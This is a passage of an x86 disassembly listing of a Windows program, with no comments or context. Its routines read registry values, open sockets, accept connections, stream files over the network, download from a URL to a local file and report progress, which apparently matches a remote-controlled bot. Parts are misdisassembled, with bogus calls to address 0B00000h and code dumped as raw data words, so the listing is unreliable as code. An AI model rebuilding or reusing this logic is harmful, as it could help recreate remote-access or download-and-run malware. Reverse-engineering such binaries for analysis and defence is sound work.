		mov	ecx, [ebp+arg_C]
		add	esp, 0Ch
		cmp	ecx, ebx
		jg	short loc_415EF7
		mov	ecx, 0A0h


loc_415EF7:				; CODE XREF: sub_415DEA+106j
		mov	eax, [ebp+arg_10]
		cmp	eax, ebx
		jg	short loc_415F01
		push	78h
		pop	eax


loc_415F01:				; CODE XREF: sub_415DEA+112j
		push	edi
		mov	[esi+4], ecx
		mov	[esi+8], eax
		mov	word ptr [esi+0Eh], 10h
		mov	[esi+14h], ebx
		mov	[esi+10h], ebx
		mov	[esi+20h], ebx
		mov	[esi+24h], ebx
		mov	word ptr [esi+0Ch], 1
		mov	[esi+28h], bl
		mov	[esi+29h], bl
		mov	[esi+2Ah], bl
		mov	[esi+2Bh], bl
		call	ds:dword_4D1190
		test	eax, eax
		jz	short loc_415F46
		push	esi
		push	[ebp+arg_4]
		push	42Dh
		push	edi
		call	ds:dword_4D124C


loc_415F46:				; CODE XREF: sub_415DEA+14Aj
		push	edi
		call	ds:dword_4D1190
		test	eax, eax
		jz	short loc_415F63
		lea	eax, [ebp+var_64]
		push	eax
		push	60h
		push	441h
		push	edi
		call	ds:dword_4D124C


loc_415F63:				; CODE XREF: sub_415DEA+165j
		push	edi
		mov	[ebp+var_60], ebx
		mov	[ebp+var_3C], ebx
		mov	[ebp+var_38], ebx
		mov	[ebp+var_34], ebx
		mov	[ebp+var_30], 1
		mov	[ebp+var_2C], 5
		mov	[ebp+var_64], 1046Ah
		call	ds:dword_4D1190
		test	eax, eax
		jz	short loc_415FA1
		lea	eax, [ebp+var_64]
		push	eax
		push	60h
		push	440h
		push	edi
		call	ds:dword_4D124C


loc_415FA1:				; CODE XREF: sub_415DEA+1A3j
		push	edi
		call	ds:dword_4D1190
		test	eax, eax
		jz	short loc_415FBC
		push	[ebp+arg_0]
		push	ebx
		push	414h
		push	edi
		call	ds:dword_4D124C


loc_415FBC:				; CODE XREF: sub_415DEA+1C0j
		push	edi
		call	ds:dword_4D1190
		test	eax, eax
		jz	short loc_415FD5
		push	ebx
		push	ebx
		push	43Eh
		push	edi
		call	ds:dword_4D124C


loc_415FD5:				; CODE XREF: sub_415DEA+1DBj
		push	edi
		call	ds:dword_4D1190
		test	eax, eax
		jz	short loc_415FF2
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	42Dh
		push	edi
		call	ds:dword_4D124C


loc_415FF2:				; CODE XREF: sub_415DEA+1F4j
		push	[ebp+var_4]
		call	sub_41B961
		push	esi
		call	sub_41B961
		pop	ecx
		pop	ecx
		push	edi
		call	ds:dword_4D1190
		test	eax, eax
		jz	short loc_41601B
		push	ebx
		push	ebx
		push	40Bh
		push	edi
		call	ds:dword_4D124C


loc_41601B:				; CODE XREF: sub_415DEA+63j
					; sub_415DEA+D0j ...
		push	edi
		call	ds:dword_4D12A0
		mov	eax, ebx


loc_416024:				; CODE XREF: sub_415DEA+39j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_415DEA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416029	proc near		; CODE XREF: seg000:004040B8p

var_3F4		= byte ptr -3F4h
var_2F0		= byte ptr -2F0h
var_F0		= byte ptr -0F0h
var_70		= byte ptr -70h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 3F4h
		push	ebx
		xor	ebx, ebx
		cmp	ds:off_43E4DC, ebx
		mov	[ebp+var_C], 80h
		jz	loc_4161DB
		push	esi
		push	edi
		mov	eax, offset off_43E4DC
		mov	esi, offset dword_43E4E8
		mov	edi, offset dword_43F6E0


loc_416059:				; CODE XREF: sub_416029+1AAj
		lea	ecx, [ebp+var_4]
		push	ecx
		push	20019h
		push	ebx
		push	dword ptr [eax]
		push	dword ptr [esi-10h]
		call	ds:dword_4D1260
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_F0]
		push	eax
		push	ebx
		push	ebx
		push	dword ptr [esi-8]
		push	[ebp+var_4]
		call	ds:dword_4D10F0
		test	eax, eax
		jnz	loc_4161C1
		mov	eax, [esi]
		cmp	eax, ebx
		jz	loc_416185
		push	eax
		lea	eax, [ebp+var_F0]
		push	eax
		lea	eax, [ebp+var_3F4]
		push	offset dword_4301F0
		push	eax
		call	sub_41BF36
		lea	eax, [ebp+var_3F4]
		push	offset aR	; "r"
		push	eax
		call	sub_41BBB8
		add	esp, 18h
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jz	loc_4161C1
		push	eax


loc_4160D2:				; CODE XREF: sub_416029+D4j
		lea	eax, [ebp+var_70]
		push	64h
		push	eax
		call	sub_41C1FF
		add	esp, 0Ch
		test	eax, eax
		jz	loc_41617A
		push	dword ptr [esi+4]
		lea	eax, [ebp+var_70]
		push	eax
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4160FF
		push	[ebp+var_8]
		jmp	short loc_4160D2
; ---------------------------------------------------------------------------


loc_4160FF:				; CODE XREF: sub_416029+CFj
		push	3Dh
		push	dword ptr [esi+4]
		call	sub_41C650
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41613E
		lea	eax, [ebp+var_70]
		push	offset asc_43F6DC ; "="
		push	eax
		call	sub_41C794
		push	offset asc_43F6DC ; "="
		push	ebx
		call	sub_41C794
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi
		push	eax
		call	sub_41BF36
		add	esp, 20h
		jmp	short loc_416155
; ---------------------------------------------------------------------------


loc_41613E:				; CODE XREF: sub_416029+E4j
		lea	eax, [ebp+var_70]
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi
		push	eax
		call	sub_41BF36
		add	esp, 10h


loc_416155:				; CODE XREF: sub_416029+113j
		push	ebx
		lea	eax, [ebp+var_2F0]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4099D2
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_4157A6
		add	esp, 18h


loc_41617A:				; CODE XREF: sub_416029+B9j
		push	[ebp+var_8]
		call	sub_41B90B
		pop	ecx
		jmp	short loc_4161C1
; ---------------------------------------------------------------------------


loc_416185:				; CODE XREF: sub_416029+6Aj
		lea	eax, [ebp+var_F0]
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi
		push	eax
		call	sub_41BF36
		push	ebx
		lea	eax, [ebp+var_2F0]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4099D2
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_4157A6
		add	esp, 28h


loc_4161C1:				; CODE XREF: sub_416029+60j
					; sub_416029+A2j ...
		push	[ebp+var_4]
		call	ds:dword_4D11CC
		add	esi, 18h
		cmp	[esi-0Ch], ebx
		lea	eax, [esi-0Ch]
		jnz	loc_416059
		pop	edi
		pop	esi


loc_4161DB:				; CODE XREF: sub_416029+19j
		pop	ebx
		leave
		retn
sub_416029	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4161DE	proc near		; CODE XREF: seg000:00416883p

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	ds:dword_4D1270
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_41625A
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41BC40
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_4]
		call	ds:dword_4D11F0
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	ds:dword_4D1230
		cmp	eax, esi
		jnz	short loc_41623F
		push	[ebp+arg_0]
		call	ds:dword_4D1274
		test	eax, eax
		jz	short loc_41625A
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]


loc_41623F:				; CODE XREF: sub_4161DE+4Bj
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	ds:dword_4D1198
		cmp	eax, esi
		jnz	short loc_41625E
		push	edi
		call	ds:dword_4D1288


loc_41625A:				; CODE XREF: sub_4161DE+1Bj
					; sub_4161DE+58j
		mov	eax, esi
		jmp	short loc_416260
; ---------------------------------------------------------------------------


loc_41625E:				; CODE XREF: sub_4161DE+73j
		mov	eax, edi


loc_416260:				; CODE XREF: sub_4161DE+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_4161DE	endp

; ---------------------------------------------------------------------------
dword_416264	dd 0B8EC8B55h, 11B4h, 5F5FE8h, 8458B00h, 6A575653h, 59F08B6Dh
					; DATA XREF: seg000:0040250Co
		dd 0FE4CBD8Dh, 0A5F3FFFFh, 0FF5E016Ah, 0B089EC75h, 1B0h
		dd 0FE54858Dh, 0E850FFFFh, 0FFFFFF42h, 8359D88Bh, 7559FFFBh
		dd 4C858D52h, 68FFFFEEh, 43F75Ch, 5C80E850h, 0FF330000h
		dd 0F87D3959h, 571B7559h, 0EE4C858Dh, 75FFFFFFh, 858D50F4h
		dd 0FFFFFF6Ch, 0FBE85350h, 83FFFF36h, 858D14C4h, 0FFFFEE4Ch
		dd 0F4C0E850h, 75FFFFFFh, 503CE8F0h, 5959FFFFh,	9D0AE856h
		dd 686E006Eh, 443398h, 41EBE853h, 83590000h, 7559FFF8h
		dd 4C858D59h, 68FFFFEEh, 43F72Ch, 5C1CE850h, 0FF330000h
		dd 0F87D3959h, 571B7559h, 0EE4C858Dh, 75FFFFFFh, 858D50F4h
		dd 0FFFFFF6Ch, 97E85350h, 83FFFF36h, 858D14C4h,	0FFFFEE4Ch
		dd 0F45CE850h, 5359FFFFh, 128815FFh, 75FF004Dh,	4FD0E8F0h
		dd 5659FFFFh, 6E9C9FE8h, 646A3C00h, 706415FFh, 0FF330042h
		dd 1000BEh, 858D5600h, 0FFFFEE4Ch, 0C1E85057h, 83000058h
		dd 858D0CC4h, 0FFFFEE4Ch, 53505657h, 120815FFh,	0C085004Dh
		dd 858D387Eh, 0FFFFEE4Ch, 43080868h, 0B9E85000h, 8D000061h
		dd 0FFEE4C85h, 26E850FFh, 8300003Fh, 0C0850CC4h, 646A1474h
		dd 706415FFh, 0A6A0042h, 0FF4E8DE8h, 59C085FFh,	858DA375h
		dd 0FFFFEE4Ch, 43F6F868h, 57E85000h, 3900005Bh,	5959F87Dh
		dd 8D571B75h, 0FFEE4C85h, 0F475FFFFh, 6C858D50h, 50FFFFFFh
		dd 35D4E853h, 0C483FFFFh, 4C858D14h, 50FFFFEEh,	0FFF399E8h
		dd 0FF5359FFh, 4D128815h, 0F075FF00h, 0FF4F0DE8h, 0E85759FFh
		dd 6E9BDCh
		db 7Eh
; ---------------------------------------------------------------------------


loc_416425:				; DATA XREF: seg000:00409265o
		push	ebp
		mov	ebp, esp
		sub	esp, 0A04h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-1FCh]
		rep movsd
		push	1
		xor	esi, esi
		pop	ebx
		mov	[ebp-10h], esi
		push	esi
		push	ebx
		push	2
		mov	[eax+1B0h], ebx
		mov	[ebp-0Ch], esi
		mov	[ebp-20h], esi
		call	ds:dword_4D1270
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp-18h], edi
		jnz	short loc_416473
		push	offset unk_43F85C
		jmp	loc_41662C
; ---------------------------------------------------------------------------


loc_416473:				; CODE XREF: seg000:00416467j
		push	10h
		lea	eax, [ebp-30h]
		push	esi
		push	eax
		call	sub_41BC40
		add	esp, 0Ch
		mov	word ptr [ebp-30h], 2
		push	esi
		call	ds:dword_4D11F0
		mov	[ebp-2Eh], ax
		lea	eax, [ebp-30h]
		push	10h
		push	eax
		push	edi
		mov	[ebp-2Ch], esi
		call	ds:dword_4D121C
		test	eax, eax
		jz	short loc_4164B1
		push	offset unk_43F838
		jmp	loc_41662C
; ---------------------------------------------------------------------------


loc_4164B1:				; CODE XREF: seg000:004164A5j
		lea	eax, [ebp-1Ch]
		mov	dword ptr [ebp-1Ch], 10h
		push	eax
		lea	eax, [ebp-30h]
		push	eax
		push	edi
		call	ds:dword_4D1194
		push	dword ptr [ebp-2Eh]
		call	ds:dword_4D1120
		mov	[ebp-4], eax
		lea	eax, [ebp-1E0h]
		push	eax
		mov	[ebp+8], esi
		call	sub_41B890
		pop	ecx


loc_4164E3:				; CODE XREF: seg000:00416514j
		mov	ecx, [ebp+8]
		mov	al, [ebp+ecx-1E0h]
		cmp	al, 20h
		jnz	short loc_4164F6
		push	5Fh
		pop	eax
		jmp	short loc_4164F9
; ---------------------------------------------------------------------------


loc_4164F6:				; CODE XREF: seg000:004164EFj
		movsx	eax, al


loc_4164F9:				; CODE XREF: seg000:004164F4j
		mov	[ebp+ecx-604h],	al
		lea	eax, [ebp-1E0h]
		inc	ecx
		push	eax
		mov	[ebp+8], ecx
		call	sub_41B890
		cmp	[ebp+8], eax
		pop	ecx
		jbe	short loc_4164E3
		push	ebx
		push	edi
		call	ds:dword_4D1218
		test	eax, eax
		jz	short loc_41652C
		push	offset unk_43F75C
		jmp	loc_41662C
; ---------------------------------------------------------------------------


loc_41652C:				; CODE XREF: seg000:00416520j
		push	esi
		push	esi
		push	3
		push	esi
		push	ebx
		lea	eax, [ebp-1E0h]
		push	80000000h
		push	eax
		call	ds:dword_4270EC	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-8], eax
		jnz	short loc_416556
		push	offset unk_43F818
		jmp	loc_41662C
; ---------------------------------------------------------------------------


loc_416556:				; CODE XREF: seg000:0041654Aj
		push	esi
		push	eax
		call	near ptr 0B00000h
		cmp	cl, [ecx+0F500845h]
		mov	bh, 45h
		cld
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_40AB6A
		pop	ecx
		push	eax
		call	ds:dword_4D1230
		push	eax
		call	ds:dword_4D11EC
		push	eax
		lea	eax, [ebp-1E0h]
		push	eax
		lea	eax, [ebp-3FCh]
		push	offset dword_43F800
		push	eax
		call	sub_41BF36
		push	esi
		lea	eax, [ebp-3FCh]
		push	esi
		push	eax
		lea	eax, [ebp-0DCh]
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_4099D2
		add	esp, 2Ch
		lea	eax, [ebp-38h]
		mov	dword ptr [ebp-38h], 3Ch
		mov	[ebp-34h], esi
		push	eax
		push	esi
		lea	eax, [ebp-500h]
		push	esi
		push	eax
		push	esi
		mov	[ebp-4FCh], edi
		mov	[ebp-500h], ebx
		call	ds:dword_4D11D8
		test	eax, eax
		jg	short loc_416606
		push	esi
		lea	eax, [ebp-0DCh]
		push	dword ptr [ebp-54h]
		push	offset dword_43F7E8
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_4099D2
		jmp	loc_41672A
; ---------------------------------------------------------------------------


loc_416606:				; CODE XREF: seg000:004165E4j
		lea	eax, [ebp-14h]
		mov	dword ptr [ebp-14h], 10h
		push	eax
		lea	eax, [ebp-48h]
		push	eax
		push	edi
		call	ds:dword_4D1284
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-1F8h], eax
		jnz	short loc_41663F
		push	offset unk_43F7C4


loc_41662C:				; CODE XREF: seg000:0041646Ej
					; seg000:004164ACj ...
		lea	eax, [ebp-3FCh]
		push	eax
		call	sub_41BF36
		pop	ecx
		pop	ecx
		jmp	loc_41672D
; ---------------------------------------------------------------------------


loc_41663F:				; CODE XREF: seg000:00416625j
		push	edi
		call	ds:dword_4D1288
		cmp	[ebp+8], esi
		jz	loc_4166F1
		mov	edi, 400h


loc_416654:				; CODE XREF: seg000:004166E8j
		mov	eax, [ebp+8]
		mov	[ebp-4], edi
		cmp	eax, edi
		jge	short loc_416661
		mov	[ebp-4], eax


loc_416661:				; CODE XREF: seg000:0041665Cj
		push	edi
		lea	eax, [ebp-0A04h]
		push	esi
		push	eax
		call	sub_41BC40
		mov	eax, [ebp+8]
		add	esp, 0Ch
		neg	eax
		push	2
		push	esi
		push	eax
		push	dword ptr [ebp-8]
		call	ds:dword_427120	; SetFilePointer
		lea	eax, [ebp-20h]
		push	esi
		push	eax
		lea	eax, [ebp-0A04h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8]
		call	ds:dword_4270E8	; ReadFile
		push	esi
		lea	eax, [ebp-0A04h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-1F8h]
		call	ds:dword_4D1240
		mov	[ebp-4], eax
		push	esi
		cdq
		add	[ebp-10h], eax
		lea	eax, [ebp-0A04h]
		push	edi
		push	eax
		push	dword ptr [ebp-1F8h]
		adc	[ebp-0Ch], edx
		call	ds:dword_4D1208
		cmp	eax, ebx
		jl	near ptr loc_416785+1
		mov	eax, [ebp-4]
		cmp	eax, ebx
		jl	near ptr loc_416785+1
		sub	[ebp+8], eax
		jnz	loc_416654
		mov	edi, [ebp-18h]


loc_4166F1:				; CODE XREF: seg000:00416649j
		push	dword ptr [ebp-8]
		call	ds:dword_42706C	; CloseHandle
		push	dword ptr [ebp-0Ch]
		push	dword ptr [ebp-10h]
		call	sub_416F2B
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [ebp-44h]
		call	ds:dword_4D127C
		push	eax
		lea	eax, [ebp-1E0h]
		push	eax
		lea	eax, [ebp-3FCh]
		push	offset unk_43F798
		push	eax
		call	sub_41BF36


loc_41672A:				; CODE XREF: seg000:00416601j
		add	esp, 14h


loc_41672D:				; CODE XREF: seg000:0041663Aj
		cmp	[ebp-50h], esi
		jnz	short loc_416752
		push	esi
		lea	eax, [ebp-3FCh]
		push	dword ptr [ebp-54h]
		push	eax
		lea	eax, [ebp-0DCh]
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_4099D2
		add	esp, 14h


loc_416752:				; CODE XREF: seg000:00416730j
		lea	eax, [ebp-3FCh]
		push	eax
		call	sub_4157A6
		cmp	edi, esi
		pop	ecx
		jbe	short loc_41676A
		push	edi
		call	ds:dword_4D1288


loc_41676A:				; CODE XREF: seg000:00416761j
		push	dword ptr [ebp-1F8h]
		call	ds:dword_4D1288
		push	dword ptr [ebp-58h]
		call	sub_40B32A
		pop	ecx
		push	esi
		call	near ptr 0B00000h


loc_416785:				; CODE XREF: seg000:004166D4j
					; seg000:004166DFj
		mov	bl, 56h
		mov	esi, offset dword_43F780
		push	dword ptr [ebp-54h]
		lea	eax, [ebp-0DCh]
		push	esi
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_4099D2
		push	esi
		call	sub_4157A6
		add	esp, 18h
		push	dword ptr [ebp-1F8h]
		call	ds:dword_4D1288
		push	dword ptr [ebp-58h]
		call	sub_40B32A
		pop	ecx
		push	ebx
		call	near ptr 0B00000h
		lodsd


loc_4167C7:				; DATA XREF: seg000:004022B6o
		push	ebp
		mov	ebp, esp
		mov	eax, 14C4h
		call	sub_41C1D0
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-1C0h]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		mov	[ebp-8], ebx
		mov	[eax+1B0h], esi
		lea	eax, [ebp-2C4h]
		push	104h
		push	eax
		call	near ptr 0B00000h
		dec	eax
		lea	eax, [ebp-1A4h]
		push	eax
		lea	eax, [ebp-2C4h]
		push	eax
		lea	eax, [ebp-2C4h]
		push	offset dword_4301F8
		push	eax
		call	sub_41BF36
		add	esp, 10h
		lea	eax, [ebp-2C4h]
		push	ebx
		push	80h
		push	2
		push	ebx
		push	esi
		push	40000000h
		push	eax
		call	ds:dword_4270EC	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_416851
		push	offset unk_43F8FC
		jmp	short loc_416897
; ---------------------------------------------------------------------------


loc_416851:				; CODE XREF: seg000:00416848j
		push	eax
		call	ds:dword_42706C	; CloseHandle
		lea	eax, [ebp-2C4h]
		push	offset aAB	; "a+b"
		push	eax
		call	sub_41BBB8
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp-4], eax
		jnz	short loc_416879
		push	offset unk_43F8CC
		jmp	short loc_416897
; ---------------------------------------------------------------------------


loc_416879:				; CODE XREF: seg000:00416870j
		push	dword ptr [ebp-20h]
		lea	eax, [ebp-1B8h]
		push	eax
		call	sub_4161DE
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+8], eax
		jnz	short loc_4168AA
		push	offset unk_43F8AC


loc_416897:				; CODE XREF: seg000:0041684Fj
					; seg000:00416877j
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_41BF36
		pop	ecx
		pop	ecx
		jmp	loc_4169A4
; ---------------------------------------------------------------------------


loc_4168AA:				; CODE XREF: seg000:00416890j
		mov	esi, 1000h


loc_4168AF:				; CODE XREF: seg000:00416915j
		push	esi
		lea	eax, [ebp-14C4h]
		push	ebx
		push	eax
		call	sub_41BC40
		add	esp, 0Ch
		lea	eax, [ebp-14C4h]
		push	ebx
		push	esi
		push	eax
		push	dword ptr [ebp+8]
		call	ds:dword_4D1208
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_416976
		cmp	edi, 0FFFFFFFFh
		jz	short loc_416917
		push	dword ptr [ebp-4]
		lea	eax, [ebp-14C4h]
		push	edi
		push	1
		push	eax
		call	sub_41D984
		add	[ebp-8], edi
		add	esp, 10h
		push	dword ptr [ebp-8]
		call	ds:dword_4D11EC
		mov	[ebp-0Ch], eax
		push	ebx
		lea	eax, [ebp-0Ch]
		push	4
		push	eax
		push	dword ptr [ebp+8]
		call	ds:dword_4D1240
		jmp	short loc_4168AF
; ---------------------------------------------------------------------------


loc_416917:				; CODE XREF: seg000:004168DFj
		lea	eax, [ebp-4C4h]
		push	offset dword_43F780
		push	eax
		call	sub_41BF36
		push	ebx
		lea	eax, [ebp-4C4h]
		push	dword ptr [ebp-18h]
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		push	dword ptr [ebp-1C0h]
		call	sub_4099D2
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_4157A6
		push	dword ptr [ebp-4]
		call	sub_41B90B
		add	esp, 24h
		push	dword ptr [ebp+8]
		call	ds:dword_4D1288
		push	dword ptr [ebp-1Ch]
		call	sub_40B32A
		pop	ecx
		push	1
		call	near ptr 0B00000h
		push	ds


loc_416976:				; CODE XREF: seg000:004168D6j
		mov	eax, [ebp-8]
		cdq
		push	edx
		push	eax
		call	sub_416F2B
		push	eax
		lea	eax, [ebp-1B8h]
		push	eax
		lea	eax, [ebp-1A4h]
		push	eax
		lea	eax, [ebp-4C4h]
		push	offset unk_43F880
		push	eax
		call	sub_41BF36
		add	esp, 1Ch


loc_4169A4:				; CODE XREF: seg000:004168A5j
		cmp	[ebp-14h], ebx
		jnz	short loc_4169C9
		push	ebx
		lea	eax, [ebp-4C4h]
		push	dword ptr [ebp-18h]
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		push	dword ptr [ebp-1C0h]
		call	sub_4099D2
		add	esp, 14h


loc_4169C9:				; CODE XREF: seg000:004169A7j
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_4157A6
		cmp	[ebp-4], ebx
		pop	ecx
		jz	short loc_4169E4
		push	dword ptr [ebp-4]
		call	sub_41B90B
		pop	ecx


loc_4169E4:				; CODE XREF: seg000:004169D9j
		cmp	[ebp+8], ebx
		jbe	short loc_4169F2
		push	dword ptr [ebp+8]
		call	ds:dword_4D1288


loc_4169F2:				; CODE XREF: seg000:004169E7j
		push	dword ptr [ebp-1Ch]
		call	sub_40B32A
		pop	ecx
		push	ebx
		call	near ptr 0B00000h


loc_416A01:				; DATA XREF: seg000:00407CD0o
		and	[ebp-75h], dl
		in	al, dx
		sub	esp, 510h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0AAh
		mov	esi, eax
		lea	edi, [ebp-2CCh]
		push	1
		rep movsd
		pop	edi
		xor	esi, esi
		push	esi
		mov	[eax+2A4h], edi
		push	esi
		push	esi
		lea	eax, [ebp-248h]
		push	esi
		push	eax
		push	ds:dword_4D11A0
		call	ds:dword_4D10F4
		cmp	eax, esi
		mov	[ebp-18h], eax
		jz	loc_416E8E
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		lea	eax, [ebp-148h]
		push	40000000h
		push	eax
		call	ds:dword_4270EC	; CreateFileA
		cmp	eax, edi
		mov	[ebp-20h], eax
		jnb	short loc_416AC9
		lea	eax, [ebp-148h]
		push	eax
		lea	eax, [ebp-510h]
		push	offset unk_43FAC8
		push	eax
		call	sub_41BF36
		add	esp, 0Ch
		cmp	[ebp-30h], esi
		jnz	short loc_416AAC
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_4099D2
		add	esp, 14h


loc_416AAC:				; CODE XREF: seg000:00416A8Aj
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4157A6
		push	dword ptr [ebp-48h]
		call	sub_40B32A
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 0B00000h
		stosd


loc_416AC9:				; CODE XREF: seg000:00416A6Aj
		xor	edi, edi
		call	ds:dword_4270A8	; GetTickCount
		mov	ebx, 7D000h
		mov	[ebp-4], eax
		push	ebx
		call	sub_41BBCB
		pop	ecx
		mov	[ebp-1Ch], eax


loc_416AE3:				; CODE XREF: seg000:00416BB6j
		push	200h
		lea	eax, [ebp-510h]
		push	esi
		push	eax
		call	sub_41BC40
		add	esp, 0Ch
		lea	eax, [ebp+8]
		push	eax
		lea	eax, [ebp-510h]
		push	200h
		push	eax
		push	dword ptr [ebp-18h]
		call	ds:dword_4D10FC
		cmp	[ebp-34h], esi
		jz	short loc_416B27
		push	dword ptr [ebp+8]
		lea	eax, [ebp-510h]
		push	eax
		call	sub_416EF4
		pop	ecx
		pop	ecx


loc_416B27:				; CODE XREF: seg000:00416B14j
		lea	eax, [ebp-24h]
		push	esi
		push	eax
		lea	eax, [ebp-510h]
		push	dword ptr [ebp+8]
		push	eax
		push	dword ptr [ebp-20h]
		call	near ptr 0B00000h
		mov	eax, 2273FB3Bh
		mov	eax, ebx
		sub	eax, edi
		cmp	eax, [ebp+8]
		jbe	short loc_416B4F
		mov	eax, [ebp+8]


loc_416B4F:				; CODE XREF: seg000:00416B4Aj
		push	eax
		lea	eax, [ebp-510h]
		push	eax
		mov	eax, [ebp-1Ch]
		add	eax, edi
		push	eax
		call	near ptr sub_41C9B0
		add	esp, 0Ch
		add	edi, [ebp+8]
		cmp	[ebp-3Ch], esi
		jz	short loc_416B72
		cmp	edi, [ebp-3Ch]
		ja	short loc_416BBC


loc_416B72:				; CODE XREF: seg000:00416B6Bj
		cmp	dword ptr [ebp-44h], 1
		mov	eax, edi
		jz	short loc_416B8C
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_43FAA0
		jmp	short loc_416B9C
; ---------------------------------------------------------------------------


loc_416B8C:				; CODE XREF: seg000:00416B78j
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_43FA78


loc_416B9C:				; CODE XREF: seg000:00416B8Aj
		mov	eax, [ebp-48h]
		imul	eax, 234h
		add	eax, offset dword_443F20
		push	eax
		call	sub_41BF36
		add	esp, 10h
		cmp	[ebp+8], esi
		ja	loc_416AE3


loc_416BBC:				; CODE XREF: seg000:00416B70j
		cmp	[ebp-3Ch], esi
		mov	dword ptr [ebp-14h], 1
		jz	short loc_416C11
		cmp	edi, [ebp-3Ch]
		jz	short loc_416C11
		push	dword ptr [ebp-3Ch]
		lea	eax, [ebp-510h]
		mov	[ebp-14h], esi
		push	edi
		push	offset unk_43FA4C
		push	eax
		call	sub_41BF36
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_4099D2
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4157A6
		add	esp, 28h


loc_416C11:				; CODE XREF: seg000:00416BC6j
					; seg000:00416BCBj
		call	ds:dword_4270A8	; GetTickCount
		sub	eax, [ebp-4]
		xor	edx, edx
		mov	ecx, 3E8h
		push	dword ptr [ebp-20h]
		div	ecx
		xor	edx, edx
		mov	ecx, eax
		mov	eax, edi
		inc	ecx
		div	ecx
		mov	ebx, eax
		call	ds:dword_42706C	; CloseHandle
		push	dword ptr [ebp-1Ch]
		call	sub_41B961
		cmp	[ebp-38h], esi
		pop	ecx
		jz	short loc_416C9B
		lea	eax, [ebp-148h]
		push	eax
		call	sub_4010C3
		cmp	eax, [ebp-38h]
		pop	ecx
		jz	short loc_416C9B
		push	dword ptr [ebp-38h]
		mov	[ebp-14h], esi
		push	eax
		lea	eax, [ebp-510h]
		push	offset unk_43FA24
		push	eax
		call	sub_41BF36
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_4099D2
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4157A6
		add	esp, 28h


loc_416C9B:				; CODE XREF: seg000:00416C43j
